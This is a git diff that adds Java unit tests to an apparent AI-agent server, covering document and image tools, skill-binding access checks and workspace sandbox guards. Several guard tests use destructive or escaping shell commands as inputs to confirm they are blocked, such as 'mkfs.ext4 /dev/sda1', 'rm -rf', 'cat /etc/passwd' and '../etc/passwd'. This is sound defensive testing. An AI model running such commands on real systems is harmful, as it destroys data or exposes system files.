WorkspacePathGuard.setSkillRoot(null); + } + + @Test + @DisplayName("Guarded tool entry rejects the staged upload path (the #323 failure)") + void guardedEntry_rejectsOutsideSandbox() { + JSONObject result = JSONUtil.parseObj( + tool.extract_document_text(docx.toString(), null, null)); + assertThat(result.getBool("success", false)) + .as("an upload-dir path sits outside the sandbox root and must be blocked by the guard") + .isFalse(); + } + + @Test + @DisplayName("Trusted entry extracts the staged upload path (the #323 fix)") + void trustedEntry_extractsOutsideSandbox() { + JSONObject result = JSONUtil.parseObj( + tool.extractTrustedDocument(docx.toString(), null)); + assertThat(result.getBool("success", false)) + .as("server-managed path must bypass the sandbox and extract successfully") + .isTrue(); + assertThat(result.getStr("text")).contains(TOKEN); + } + + /** + * Write a minimal but valid-enough .docx: a ZIP whose {@code word/document.xml} + * carries the text inside {@code } runs. This is exactly what the pure-Java + * ZIP-XML extractor in {@link DocumentExtractTool} reads, so the test needs no + * external tools (textutil / pandoc / libreoffice) to be installed. + */ + private static void writeMinimalDocx(Path target, String body) throws Exception { + String contentTypes = """ + + + + + """; + String documentXml = """ + + + %s + """.formatted(body); + try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(target))) { + zos.putNextEntry(new ZipEntry("[Content_Types].xml")); + zos.write(contentTypes.getBytes(StandardCharsets.UTF_8)); + zos.closeEntry(); + zos.putNextEntry(new ZipEntry("word/document.xml")); + zos.write(documentXml.getBytes(StandardCharsets.UTF_8)); + zos.closeEntry(); + } + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/builtin/ImageAnalyzeToolTest.java b/mateclaw-server/src/test/java/vip/mate/tool/builtin/ImageAnalyzeToolTest.java new file mode 100644 index 00000000..937ed041 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/builtin/ImageAnalyzeToolTest.java @@ -0,0 +1,174 @@ +package vip.mate.tool.builtin; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import vip.mate.llm.model.ModelConfigEntity; +import vip.mate.llm.routing.MediaCaptionService; +import vip.mate.llm.routing.MultimodalRouter; +import vip.mate.workspace.conversation.ConversationService; +import vip.mate.workspace.conversation.model.MessageContentPart; +import vip.mate.workspace.conversation.model.MessageEntity; + +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Issue #303: the on-demand {@code image_analyze} tool lets a text-only model + * re-examine a previously uploaded image against a fresh question. These tests + * pin image resolution (most-recent vs by-name) and the guard-rail messages. + */ +class ImageAnalyzeToolTest { + + private ConversationService conv; + private MultimodalRouter router; + private MediaCaptionService caption; + private ImageAnalyzeTool tool; + + private static final String CONV = "conv-1"; + + @BeforeEach + void setUp() { + conv = mock(ConversationService.class); + router = mock(MultimodalRouter.class); + caption = mock(MediaCaptionService.class); + tool = new ImageAnalyzeTool(conv, router, caption); + ToolExecutionContext.set(CONV, "tester"); + } + + @AfterEach + void tearDown() { + ToolExecutionContext.clear(); + } + + @Test + @DisplayName("Blank question → guidance, no vision call") + void blankQuestion() { + String out = tool.image_analyze(" ", null, null); + assertTrue(out.contains("具体问题")); + } + + @Test + @DisplayName("No conversation context → cannot locate image") + void noConversation() { + ToolExecutionContext.clear(); + String out = tool.image_analyze("报错是什么", null, null); + assertTrue(out.contains("无法确定当前会话")); + } + + @Test + @DisplayName("No image in conversation → tells the user none was found") + void noImage() { + MessageEntity m = msg(); + when(conv.listMessages(CONV)).thenReturn(List.of(m)); + when(conv.parseMessageParts(m)).thenReturn(List.of(MessageContentPart.text("你好"))); + + String out = tool.image_analyze("报错是什么", null, null); + assertTrue(out.contains("没有找到")); + } + + @Test + @DisplayName("No default vision model configured → asks user to configure one") + void noVisionModel() { + MessageEntity m = msg(); + when(conv.listMessages(CONV)).thenReturn(List.of(m)); + when(conv.parseMessageParts(m)).thenReturn(List.of(img("a.png", "media-a"))); + when(router.resolveVisionSidecar()).thenReturn(null); + + String out = tool.image_analyze("报错是什么", null, null); + assertTrue(out.contains("尚未配置视觉模型")); + } + + @Test + @DisplayName("Most-recent image is analyzed with the question when no reference is given") + void mostRecentImage_analyzed() { + MessageEntity older = msg(); + MessageEntity newer = msg(); + when(conv.listMessages(CONV)).thenReturn(List.of(older, newer)); + when(conv.parseMessageParts(older)).thenReturn(List.of(img("old.png", "media-old"))); + when(conv.parseMessageParts(newer)).thenReturn(List.of(img("new.png", "media-new"))); + when(router.resolveVisionSidecar()).thenReturn(mock(ModelConfigEntity.class)); + when(caption.caption(any(), any(), any(), any())) + .thenReturn(MediaCaptionService.CaptionResult.success("空指针异常", 5L, false)); + + String out = tool.image_analyze("报错是什么", null, null); + + assertEquals("空指针异常", out); + ArgumentCaptor part = ArgumentCaptor.forClass(MessageContentPart.class); + ArgumentCaptor q = ArgumentCaptor.forClass(String.class); + verify(caption).caption(any(), part.capture(), any(), q.capture()); + assertEquals("new.png", part.getValue().getFileName(), "must pick the most recent image"); + assertEquals("报错是什么", q.getValue(), "the question must reach the vision model"); + } + + @Test + @DisplayName("Explicit filename reference selects the matching image, not the most recent") + void referenceByFilename_selectsMatch() { + MessageEntity m = msg(); + when(conv.listMessages(CONV)).thenReturn(List.of(m)); + when(conv.parseMessageParts(m)).thenReturn(List.of( + img("receipt.png", "media-r"), img("screenshot.png", "media-s"))); + when(router.resolveVisionSidecar()).thenReturn(mock(ModelConfigEntity.class)); + when(caption.caption(any(), any(), any(), any())) + .thenReturn(MediaCaptionService.CaptionResult.success("金额 99 元", 5L, false)); + + tool.image_analyze("总金额是多少", "receipt.png", null); + + ArgumentCaptor part = ArgumentCaptor.forClass(MessageContentPart.class); + verify(caption).caption(any(), part.capture(), any(), eq("总金额是多少")); + assertEquals("receipt.png", part.getValue().getFileName()); + } + + @Test + @DisplayName("Unknown filename reference → reports it was not found") + void referenceNotFound() { + MessageEntity m = msg(); + when(conv.listMessages(CONV)).thenReturn(List.of(m)); + when(conv.parseMessageParts(m)).thenReturn(List.of(img("a.png", "media-a"))); + + String out = tool.image_analyze("看看", "does-not-exist.png", null); + assertTrue(out.contains("does-not-exist.png")); + assertTrue(out.contains("未找到")); + } + + @Test + @DisplayName("Vision call failure → friendly error naming the file") + void captionFailure() { + MessageEntity m = msg(); + when(conv.listMessages(CONV)).thenReturn(List.of(m)); + when(conv.parseMessageParts(m)).thenReturn(List.of(img("broken.png", "media-b"))); + when(router.resolveVisionSidecar()).thenReturn(mock(ModelConfigEntity.class)); + when(caption.caption(any(), any(), any(), any())) + .thenReturn(MediaCaptionService.CaptionResult.failure(5L, new RuntimeException("timeout"))); + + String out = tool.image_analyze("看看", null, null); + assertTrue(out.contains("未能解析")); + assertTrue(out.contains("broken.png")); + } + + // ---------- helpers ---------- + + private static MessageEntity msg() { + MessageEntity m = new MessageEntity(); + m.setRole("user"); + return m; + } + + private static MessageContentPart img(String fileName, String mediaId) { + MessageContentPart p = new MessageContentPart(); + p.setType("image"); + p.setContentType("image/png"); + p.setFileName(fileName); + p.setMediaId(mediaId); + return p; + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/builtin/MateClawDocServiceTest.java b/mateclaw-server/src/test/java/vip/mate/tool/builtin/MateClawDocServiceTest.java new file mode 100644 index 00000000..e7089df7 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/builtin/MateClawDocServiceTest.java @@ -0,0 +1,69 @@ +package vip.mate.tool.builtin; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import java.util.List; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * 针对内置文档服务的单元测试。直接读 classpath 上打包的真实文档 + * (src/main/resources/docs/{zh,en}/),不需要额外测试资源。 + */ +class MateClawDocServiceTest { + + private final MateClawDocService service = new MateClawDocService(); + + @Test + @DisplayName("list(zh) 返回文档且排除 VitePress 首页 index.md") + void listExcludesIndex() { + List docs = service.list("zh"); + + assertThat(docs).isNotEmpty(); + assertThat(docs).noneMatch(d -> d.slug().equals("index")); + // config.md 一定存在,且标题取的是中文 H1 而非文件名。 + assertThat(docs) + .filteredOn(d -> d.slug().equals("config")) + .singleElement() + .satisfies(d -> assertThat(d.title()).isNotBlank().isNotEqualTo("config")); + } + + @Test + @DisplayName("list 对非法语言返回空") + void listRejectsInvalidLang() { + assertThat(service.list("fr")).isEmpty(); + assertThat(service.list("../zh")).isEmpty(); + assertThat(service.list(null)).isEmpty(); + } + + @Test + @DisplayName("read 剥离开头的 YAML frontmatter") + void readStripsFrontmatter() { + // wiki.md 带 frontmatter(title/description/head)。 + String body = service.read("zh", "wiki"); + + assertThat(body).isNotNull(); + assertThat(body.stripLeading()).doesNotStartWith("---"); + // `name: keywords` 只出现在 frontmatter 的 head meta 里,剥离后不应残留。 + assertThat(body).doesNotContain("name: keywords"); + } + + @Test + @DisplayName("read 拒绝非法 slug / 路径穿越") + void readRejectsInvalidSlug() { + assertThat(service.read("zh", "../application")).isNull(); + assertThat(service.read("zh", "config.md")).isNull(); + assertThat(service.read("zh", "a/b")).isNull(); + assertThat(service.read("fr", "config")).isNull(); + assertThat(service.read("zh", "does-not-exist-xyz")).isNull(); + } + + @Test + @DisplayName("readRawForTool 保留 frontmatter 并对非法路径返回错误串") + void readRawForToolContract() { + assertThat(service.readRawForTool("zh/config.md")).doesNotStartWith("Error:"); + assertThat(service.readRawForTool("../etc/passwd")).startsWith("Error:"); + assertThat(service.readRawForTool(null)).startsWith("Error:"); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/builtin/SkillFileToolTest.java b/mateclaw-server/src/test/java/vip/mate/tool/builtin/SkillFileToolTest.java index f3422854..bfe21503 100644 --- a/mateclaw-server/src/test/java/vip/mate/tool/builtin/SkillFileToolTest.java +++ b/mateclaw-server/src/test/java/vip/mate/tool/builtin/SkillFileToolTest.java @@ -2,12 +2,17 @@ package vip.mate.tool.builtin; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Test; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.test.util.ReflectionTestUtils; +import vip.mate.agent.context.ChatOrigin; +import vip.mate.llm.routing.AgentBindingResolver; import vip.mate.skill.runtime.SkillFileAccessPolicy; import vip.mate.skill.runtime.SkillRuntimeService; import vip.mate.skill.runtime.model.ResolvedSkill; import vip.mate.skill.usage.SkillUsageService; import java.util.List; +import java.util.Set; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; @@ -30,7 +35,7 @@ class SkillFileToolTest { skill("ckjia-shopping", "mcp", false), skill("claude-code", "acp", false))); - String result = tool.listAvailableSkills("code", "acp", "ready", 1); + String result = tool.listAvailableSkills("code", "acp", "ready", 1, null); assertTrue(result.contains("claude-code")); assertFalse(result.contains("ckjia-shopping")); @@ -136,6 +141,95 @@ class SkillFileToolTest { "No truncation banner should appear when caller did not opt into pagination"); } + @Test + @DisplayName("listAvailableSkills hides skills the agent is not bound to") + void listAvailableSkillsRespectsAgentBindings() { + SkillRuntimeService runtimeService = mock(SkillRuntimeService.class); + SkillFileAccessPolicy accessPolicy = mock(SkillFileAccessPolicy.class); + SkillUsageService usageService = mock(SkillUsageService.class); + AgentBindingResolver bindingResolver = mock(AgentBindingResolver.class); + SkillFileTool tool = new SkillFileTool(runtimeService, accessPolicy, usageService); + ReflectionTestUtils.setField(tool, "agentBindingResolver", bindingResolver); + + ResolvedSkill bound = skill("alpha-skill", "database", true); + ResolvedSkill unbound = skill("beta-skill", "database", true); + when(runtimeService.getActiveSkills()).thenReturn(List.of(bound, unbound)); + // Agent 42 is bound only to alpha-skill; beta-skill must not surface. + when(bindingResolver.getBoundSkillIds(42L)).thenReturn(Set.of(bound.getId())); + + ToolContext ctx = ChatOrigin.EMPTY.withAgent(42L).toToolContext(); + String result = tool.listAvailableSkills(null, null, null, 20, ctx); + + assertTrue(result.contains("alpha-skill")); + assertFalse(result.contains("beta-skill")); + } + + @Test + @DisplayName("readSkillFile denies a skill the agent is not bound to") + void readSkillFileDeniesUnboundSkill() { + SkillRuntimeService runtimeService = mock(SkillRuntimeService.class); + SkillFileAccessPolicy accessPolicy = mock(SkillFileAccessPolicy.class); + SkillUsageService usageService = mock(SkillUsageService.class); + AgentBindingResolver bindingResolver = mock(AgentBindingResolver.class); + SkillFileTool tool = new SkillFileTool(runtimeService, accessPolicy, usageService); + ReflectionTestUtils.setField(tool, "agentBindingResolver", bindingResolver); + + ResolvedSkill beta = skill("beta-skill", "database", true); + beta.setContent("# Beta\nsecret body"); + when(runtimeService.findActiveSkill("beta-skill")).thenReturn(beta); + // Bound to some other skill id, never beta's. + when(bindingResolver.getBoundSkillIds(42L)).thenReturn(Set.of(999L)); + + ToolContext ctx = ChatOrigin.EMPTY.withAgent(42L).toToolContext(); + String result = tool.readSkillFile("beta-skill", "SKILL.md", null, null, ctx); + + assertTrue(result.contains("is not available for this agent")); + assertFalse(result.contains("secret body")); + } + + @Test + @DisplayName("listSkillFiles denies a skill the agent is not bound to") + void listSkillFilesDeniesUnboundSkill() { + SkillRuntimeService runtimeService = mock(SkillRuntimeService.class); + SkillFileAccessPolicy accessPolicy = mock(SkillFileAccessPolicy.class); + SkillUsageService usageService = mock(SkillUsageService.class); + AgentBindingResolver bindingResolver = mock(AgentBindingResolver.class); + SkillFileTool tool = new SkillFileTool(runtimeService, accessPolicy, usageService); + ReflectionTestUtils.setField(tool, "agentBindingResolver", bindingResolver); + + ResolvedSkill beta = skill("beta-skill", "database", true); + when(runtimeService.findActiveSkill("beta-skill")).thenReturn(beta); + when(bindingResolver.getBoundSkillIds(42L)).thenReturn(Set.of(999L)); + + ToolContext ctx = ChatOrigin.EMPTY.withAgent(42L).toToolContext(); + String result = tool.listSkillFiles("beta-skill", ctx); + + assertTrue(result.contains("is not available for this agent")); + } + + @Test + @DisplayName("agents with no explicit bindings keep full skill access") + void readSkillFileAllowsWhenAgentHasNoBindings() { + SkillRuntimeService runtimeService = mock(SkillRuntimeService.class); + SkillFileAccessPolicy accessPolicy = mock(SkillFileAccessPolicy.class); + SkillUsageService usageService = mock(SkillUsageService.class); + AgentBindingResolver bindingResolver = mock(AgentBindingResolver.class); + SkillFileTool tool = new SkillFileTool(runtimeService, accessPolicy, usageService); + ReflectionTestUtils.setField(tool, "agentBindingResolver", bindingResolver); + + ResolvedSkill beta = skill("beta-skill", "database", true); + beta.setContent("# Beta\nvisible body"); + when(runtimeService.findActiveSkill("beta-skill")).thenReturn(beta); + // null == no explicit binding restriction → inherit every enabled skill. + when(bindingResolver.getBoundSkillIds(42L)).thenReturn(null); + + ToolContext ctx = ChatOrigin.EMPTY.withAgent(42L).toToolContext(); + String result = tool.readSkillFile("beta-skill", "SKILL.md", null, null, ctx); + + assertTrue(result.contains("visible body")); + assertFalse(result.contains("is not available for this agent")); + } + private static ResolvedSkill skill(String name, String source, boolean builtin) { return ResolvedSkill.builder() .id((long) name.hashCode()) diff --git a/mateclaw-server/src/test/java/vip/mate/tool/document/GeneratedFileUrlTest.java b/mateclaw-server/src/test/java/vip/mate/tool/document/GeneratedFileUrlTest.java new file mode 100644 index 00000000..ff422d89 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/document/GeneratedFileUrlTest.java @@ -0,0 +1,110 @@ +package vip.mate.tool.document; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.io.TempDir; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.test.util.ReflectionTestUtils; + +import java.nio.file.Path; +import java.util.regex.Matcher; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Pin the download-URL builder that backs every tool-generated file link. + * + *

    The link must be usable once it leaves the web UI — echoed as plain text, + * copied, or delivered to a channel without a dedicated attachment rewriter. So + * when {@code mateclaw.server.public-base-url} is set the URL is absolute, and + * the shared scrub pattern must match both the relative and absolute forms so + * downstream guards/scrubbers stay consistent. + */ +class GeneratedFileUrlTest { + + private GeneratedFileCache cache; + + @BeforeEach + void setUp(@TempDir Path tempDir) { + cache = new GeneratedFileCache(tempDir); + } + + @Test + @DisplayName("no base configured and no bound request → relative path") + void relativeWhenUnconfigured() { + // No HTTP request is bound on the test thread, so the resolver falls + // back to a relative path (the web UI resolves it against its origin). + String url = cache.downloadUrl("abc-123"); + assertEquals("/api/v1/files/generated/abc-123", url); + } + + @Test + @DisplayName("configured base-url → absolute link, trailing slash trimmed") + void absoluteWhenConfigured() { + ReflectionTestUtils.setField(cache, "publicBaseUrl", "https://mateclaw.example.com/"); + String url = cache.downloadUrl("abc-123"); + assertEquals("https://mateclaw.example.com/api/v1/files/generated/abc-123", url); + } + + @Test + @DisplayName("blank base-url is treated as unconfigured") + void blankBaseIgnored() { + ReflectionTestUtils.setField(cache, "publicBaseUrl", " "); + assertEquals("/api/v1/files/generated/abc-123", cache.downloadUrl("abc-123")); + } + + @Test + @DisplayName("ToolContext origin baseUrl → absolute link (covers async/streaming threads)") + void absoluteFromToolContext() { + // No config and no bound request, but the ChatOrigin carries a base URL + // captured on the controller thread — this is the streaming path. + ToolContext ctx = vip.mate.agent.context.ChatOrigin + .web("c1", "user", null, null, "http://host:18088") + .toToolContext(); + assertEquals("http://host:18088/api/v1/files/generated/abc-123", + cache.downloadUrl("abc-123", ctx)); + } + + @Test + @DisplayName("configured base-url overrides the ToolContext origin baseUrl") + void configWinsOverToolContext() { + ReflectionTestUtils.setField(cache, "publicBaseUrl", "https://public.example.com"); + ToolContext ctx = vip.mate.agent.context.ChatOrigin + .web("c1", "user", null, null, "http://internal:18088") + .toToolContext(); + assertEquals("https://public.example.com/api/v1/files/generated/abc-123", + cache.downloadUrl("abc-123", ctx)); + } + + @Test + @DisplayName("shared pattern matches an absolute URL and captures the bare id") + void patternMatchesAbsolute() { + Matcher m = GeneratedFileCache.GENERATED_URL_PATTERN + .matcher("see https://mateclaw.example.com/api/v1/files/generated/xy-9 now"); + assertTrue(m.find()); + assertEquals("xy-9", m.group(1), "id group must exclude the scheme://host prefix"); + assertEquals("https://mateclaw.example.com/api/v1/files/generated/xy-9", m.group(0), + "full match must include the host so scrubbers replace the whole URL"); + } + + @Test + @DisplayName("scrub of a fake absolute URL leaves no dangling host fragment") + void scrubAbsoluteFakeLeavesNoHost() { + String text = "下载: https://mateclaw.example.com/api/v1/files/generated/" + + "00000000-0000-0000-0000-000000000000"; + String scrubbed = cache.scrubMissingReferences(text); + assertFalse(scrubbed.contains("/api/v1/files/generated/")); + assertFalse(scrubbed.contains("mateclaw.example.com"), + "the absolute URL's host must not survive a scrub; got: " + scrubbed); + assertTrue(scrubbed.contains(GeneratedFileCache.MISSING_REFERENCE_NOTICE)); + } + + @Test + @DisplayName("scrub of a live absolute URL passes through verbatim for channel rewrite") + void scrubAbsoluteLivePassesThrough() { + String id = cache.put("hi".getBytes(), "report.pdf", "application/pdf"); + String text = "下载: https://mateclaw.example.com/api/v1/files/generated/" + id; + assertEquals(text, cache.scrubMissingReferences(text)); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/guard/DefaultToolGuardTest.java b/mateclaw-server/src/test/java/vip/mate/tool/guard/DefaultToolGuardTest.java index 4f24deda..b444ff02 100644 --- a/mateclaw-server/src/test/java/vip/mate/tool/guard/DefaultToolGuardTest.java +++ b/mateclaw-server/src/test/java/vip/mate/tool/guard/DefaultToolGuardTest.java @@ -118,6 +118,33 @@ class DefaultToolGuardTest { assertTrue(result.isBlocked()); } + // ===== 代码执行器 execute_code ===== + + @Test + @DisplayName("execute_code 命中极端破坏性模式时直接拦截") + void shouldBlockDangerousCodeExecution() { + ToolGuardResult result = toolGuard.check("execute_code", + "{\"language\":\"bash\",\"code\":\"mkfs.ext4 /dev/sda1\"}"); + assertTrue(result.isBlocked()); + } + + @Test + @DisplayName("execute_code 中的高风险删除命令需要审批") + void shouldGateDeleteInCode() { + ToolGuardResult result = toolGuard.check("execute_code", + "{\"language\":\"bash\",\"code\":\"rm -rf /tmp/data\"}"); + assertTrue(result.needsApproval()); + } + + @Test + @DisplayName("execute_code 即使无破坏性模式也需要审批") + void shouldRequireApprovalForBenignCode() { + ToolGuardResult result = toolGuard.check("execute_code", + "{\"language\":\"python\",\"code\":\"print(1)\"}"); + assertFalse(result.isBlocked()); + assertTrue(result.needsApproval()); + } + // ===== 安全操作(不应被拦截) ===== @Test diff --git a/mateclaw-server/src/test/java/vip/mate/tool/guard/WorkspacePathGuardSandboxTest.java b/mateclaw-server/src/test/java/vip/mate/tool/guard/WorkspacePathGuardSandboxTest.java new file mode 100644 index 00000000..1a4b4871 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/guard/WorkspacePathGuardSandboxTest.java @@ -0,0 +1,189 @@ +package vip.mate.tool.guard; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.DisabledOnOs; +import org.junit.jupiter.api.condition.OS; +import vip.mate.tool.builtin.ToolExecutionContext; + +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertThrows; + +/** + * Regression coverage for two workspace-sandbox escape paths (issue #313): + * + *

      + *
    1. Fail-closed default root — when a conversation has no + * per-workspace base path, operations must fall back to the registered + * global sandbox root instead of running unconstrained. Without the + * fallback, a fresh install (workspace {@code base_path} unset) lets the + * agent read/write/delete anywhere the server process can reach.
    2. + *
    3. Workspace-root deletion guard — the boundary check is reflexive + * ({@code root startsWith root}), so a delete aimed at the workspace root + * itself would otherwise pass and wipe the whole sandbox. Destructive + * commands targeting the root are rejected as escapes.
    4. + *
    + */ +@DisabledOnOs(OS.WINDOWS) // POSIX-style absolute paths in these cases +class WorkspacePathGuardSandboxTest { + + private static final String DEFAULT_ROOT = "/tmp/ws-guard-default-root"; + private static final String WORKSPACE = "/tmp/ws-guard-root-del-test"; + + @AfterEach + void teardown() { + ToolExecutionContext.clear(); + WorkspacePathGuard.setDefaultRoot(null); + WorkspacePathGuard.setSkillRoot(null); + } + + // ==================== Defect 1: fail-closed default root ==================== + + @Nested + @DisplayName("Fail-closed fallback to the global sandbox root") + class FailClosed { + + @BeforeEach + void setup() { + // No per-conversation workspace configured — the out-of-the-box state. + ToolExecutionContext.clear(); + WorkspacePathGuard.setDefaultRoot(DEFAULT_ROOT); + } + + @Test + @DisplayName("Shell: outside-the-root reads are rejected, not waved through") + void shellOutside_blocked() { + assertThrows(IllegalArgumentException.class, () -> + WorkspacePathGuard.validateShellCommand("cat /etc/passwd")); + assertThrows(IllegalArgumentException.class, () -> + WorkspacePathGuard.validateShellCommand("ls ..")); + assertThrows(IllegalArgumentException.class, () -> + WorkspacePathGuard.validateShellCommand("rm -rf /tmp/somewhere-else")); + } + + @Test + @DisplayName("Shell: paths inside the default root still pass") + void shellInside_pass() { + assertDoesNotThrow(() -> WorkspacePathGuard.validateShellCommand("ls -la")); + assertDoesNotThrow(() -> WorkspacePathGuard.validateShellCommand( + "cat " + DEFAULT_ROOT + "/foo.txt")); + } + + @Test + @DisplayName("validatePath: outside the default root is rejected") + void validatePathOutside_blocked() { + assertThrows(IllegalArgumentException.class, () -> + WorkspacePathGuard.validatePath("/etc/passwd")); + } + + @Test + @DisplayName("validatePath: inside the default root is allowed") + void validatePathInside_pass() { + assertDoesNotThrow(() -> + WorkspacePathGuard.validatePath(DEFAULT_ROOT + "/notes/new-file.txt")); + } + + @Test + @DisplayName("Per-conversation workspace still takes precedence over the default root") + void conversationWorkspace_wins() { + ToolExecutionContext.set("conv", "user", WORKSPACE); + // Inside the conversation workspace passes even though it's outside DEFAULT_ROOT. + assertDoesNotThrow(() -> WorkspacePathGuard.validateShellCommand( + "cat " + WORKSPACE + "/foo.txt")); + // The default root is NOT additionally trusted when a workspace is set. + assertThrows(IllegalArgumentException.class, () -> + WorkspacePathGuard.validateShellCommand("cat " + DEFAULT_ROOT + "/foo.txt")); + } + } + + @Nested + @DisplayName("Escape hatch: no default root registered → legacy no-op") + class Disabled { + + @BeforeEach + void setup() { + ToolExecutionContext.clear(); + WorkspacePathGuard.setDefaultRoot(null); + } + + @Test + @DisplayName("Without a default root, unconfigured conversations are unconstrained") + void noDefaultRoot_noop() { + assertDoesNotThrow(() -> WorkspacePathGuard.validateShellCommand("cat /etc/passwd")); + assertDoesNotThrow(() -> WorkspacePathGuard.validatePath("/etc/passwd")); + } + } + + // ==================== Defect 2: workspace-root deletion guard ==================== + + @Nested + @DisplayName("Deleting the workspace root itself is refused") + class RootDeletion { + + @BeforeEach + void setup() { + ToolExecutionContext.set("conv", "user", WORKSPACE); + } + + @Test + @DisplayName("rm -rf (absolute) → rejected") + void rmRootAbsolute_blocked() { + assertThrows(IllegalArgumentException.class, () -> + WorkspacePathGuard.validateShellCommand("rm -rf " + WORKSPACE)); + assertThrows(IllegalArgumentException.class, () -> + WorkspacePathGuard.validateShellCommand("rm -rf " + WORKSPACE + "/")); + } + + @Test + @DisplayName("rmdir → rejected") + void rmdirRoot_blocked() { + assertThrows(IllegalArgumentException.class, () -> + WorkspacePathGuard.validateShellCommand("rmdir " + WORKSPACE)); + } + + @Test + @DisplayName("rm -rf . and rm -rf ./ (cwd is root) → rejected") + void rmDotInRoot_blocked() { + assertThrows(IllegalArgumentException.class, () -> + WorkspacePathGuard.validateShellCommand("rm -rf .")); + assertThrows(IllegalArgumentException.class, () -> + WorkspacePathGuard.validateShellCommand("rm -rf ./")); + } + + @Test + @DisplayName("rm -rf foo/.. (resolves to root) → rejected") + void rmTraversalToRoot_blocked() { + assertThrows(IllegalArgumentException.class, () -> + WorkspacePathGuard.validateShellCommand("rm -rf foo/..")); + } + + @Test + @DisplayName("Deleting a path INSIDE the root still passes the boundary check") + void rmInsideRoot_pass() { + // Destructive but in-bounds — the approval layer, not the path guard, + // gates this. The guard must not over-block legitimate cleanup. + assertDoesNotThrow(() -> + WorkspacePathGuard.validateShellCommand("rm -rf subdir")); + assertDoesNotThrow(() -> + WorkspacePathGuard.validateShellCommand("rm -rf " + WORKSPACE + "/subdir")); + assertDoesNotThrow(() -> + WorkspacePathGuard.validateShellCommand("rm -rf ./build/output")); + } + + @Test + @DisplayName("Non-destructive references to the root are still allowed") + void nonDestructiveRoot_pass() { + assertDoesNotThrow(() -> + WorkspacePathGuard.validateShellCommand("ls " + WORKSPACE)); + assertDoesNotThrow(() -> + WorkspacePathGuard.validateShellCommand("cd " + WORKSPACE + " && ls")); + assertDoesNotThrow(() -> + WorkspacePathGuard.validateShellCommand("ls foo/..")); + assertDoesNotThrow(() -> + WorkspacePathGuard.validateShellCommand("find . -name '*.md'")); + } + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/guard/guardian/ShellCommandGuardianCodeTest.java b/mateclaw-server/src/test/java/vip/mate/tool/guard/guardian/ShellCommandGuardianCodeTest.java new file mode 100644 index 00000000..a826b610 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/guard/guardian/ShellCommandGuardianCodeTest.java @@ -0,0 +1,84 @@ +package vip.mate.tool.guard.guardian; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import vip.mate.tool.guard.engine.ToolGuardRuleRegistry; +import vip.mate.tool.guard.model.GuardCategory; +import vip.mate.tool.guard.model.GuardFinding; +import vip.mate.tool.guard.model.GuardSeverity; +import vip.mate.tool.guard.model.ToolInvocationContext; + +import java.util.List; +import java.util.regex.Pattern; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +/** + * Verifies that the live guard path ({@link ShellCommandGuardian}) screens the + * {@code execute_code} tool against the same dangerous-pattern ruleset as direct + * shell execution. With no DB rules for the tool, the guardian falls back to its + * built-in rules, so LLM-authored code containing destructive commands is caught. + */ +class ShellCommandGuardianCodeTest { + + private ShellCommandGuardian newGuardian() { + ToolGuardRuleRegistry registry = mock(ToolGuardRuleRegistry.class); + // No DB rules → guardian owns the invocation and uses built-in rules. + when(registry.getRulesForTool("execute_code")).thenReturn(List.of()); + when(registry.getCompiledPattern(org.mockito.ArgumentMatchers.anyString())) + .thenAnswer(inv -> Pattern.compile(inv.getArgument(0), Pattern.CASE_INSENSITIVE)); + return new ShellCommandGuardian(registry); + } + + @Test + @DisplayName("supports execute_code as a shell-equivalent tool") + void supportsExecuteCode() { + ShellCommandGuardian guardian = newGuardian(); + ToolInvocationContext ctx = ToolInvocationContext.of( + "execute_code", "{\"code\":\"print(1)\"}", "conv-1", "agent-1"); + assertThat(guardian.supports(ctx)).isTrue(); + } + + @Test + @DisplayName("flags a destructive mkfs command inside execute_code as CRITICAL") + void flagsDestructiveCode() { + ShellCommandGuardian guardian = newGuardian(); + ToolInvocationContext ctx = ToolInvocationContext.of( + "execute_code", "{\"language\":\"bash\",\"code\":\"mkfs.ext4 /dev/sda1\"}", "conv-1", "agent-1"); + List findings = guardian.evaluate(ctx); + assertThat(findings).isNotEmpty(); + assertThat(findings).anyMatch(f -> f.severity() == GuardSeverity.CRITICAL + && f.category() == GuardCategory.COMMAND_INJECTION); + } + + @Test + @DisplayName("gates a high-risk rm -rf inside execute_code") + void gatesRecursiveDelete() { + ShellCommandGuardian guardian = newGuardian(); + ToolInvocationContext ctx = ToolInvocationContext.of( + "execute_code", "{\"language\":\"bash\",\"code\":\"rm -rf 